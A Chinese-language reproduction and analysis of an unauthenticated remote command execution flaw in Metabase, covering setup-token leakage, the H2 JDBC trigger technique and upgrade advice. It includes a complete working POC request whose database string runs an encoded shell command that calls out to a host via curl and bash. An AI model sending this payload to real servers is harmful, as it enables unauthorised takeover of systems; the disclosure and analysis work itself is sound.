1.漏洞描述
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令。利用时不需要身份验证。
2.影响版本
Metabase open source 0.46 < 0.46.6.1
Metabase Enterprise 1.46 < 1.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase open source 0.43 < 0.43.7.2
Metabase Enterprise 1.43 < 1.43.7.2
3.影响范围
4.漏洞复现
访问http://192.168.77.142:3000/api/session/properties
需要先获取到setup-token
POC
POST /api/setup/validate HTTP/1.1
Host: 192.168.77.142:3000
Content-Type: application/json
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 804
{
"token": "89a6ac54-4d90-4db9-a8b7-9469be8b4848",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAxOTIuMTY4Ljc3LjE0Mjo4ODY0LzEudHh0}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
5.漏洞分析
令牌泄露
在Metabase 进行安装时,存在一个特殊的令牌
setup-token
,按照官方预设的流程,一般来说其只能存在一次,在安装结束之后便会清除,但是官方完成安装后移除setup-token 这个重要的的操作给移除了。
这导致了完成安装后 properties仍然存在setup-token
所以我们可以通过
/api/session/properties
来读取 setup-token
现在 我们已经拿到了 setup-token 以用于调用setup api。
JDBC RCE
src/metabase/api/setup.clj
存在路由
/api/setup/validate
,用于验证数据库是否连接成功
它会通过
api.database/test-database-connection
来处理输入的参数完成对数据库的校验
跟进到
src/metabase/api/database.clj
就是一个JDBC Connection
根据pyn3rd师傅分享的https://blog.pyn3rd.com/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/可以知道,可以通过以下三种方式攻击H2数据库
- RUNSCRIPT FROM远程加载sql文件(需要出网)
- CREATE ALIAS使用Groovy替代原生Java来定义用户函数(需要Groovy依赖)
- CREATE TRIGGER配合 javascript 引擎构建代码执行
我们这里采用第三种方法,无需出网和额外依赖即可使用,
javax.script.ScriptEngineManager
是Java中用于执行脚本的引擎,只要代码的最开头是 //javascript ,就会被认为是JavaScript脚本,并编译和执行。
**6.**修复建议
目前官方已发布新版已经修复此漏洞,并且为受影响版本发布了补丁,建议用户尽快升级至最新版本。
官方下载地址:
版权归原作者 玄道网安 所有, 如有侵权,请联系我们删除。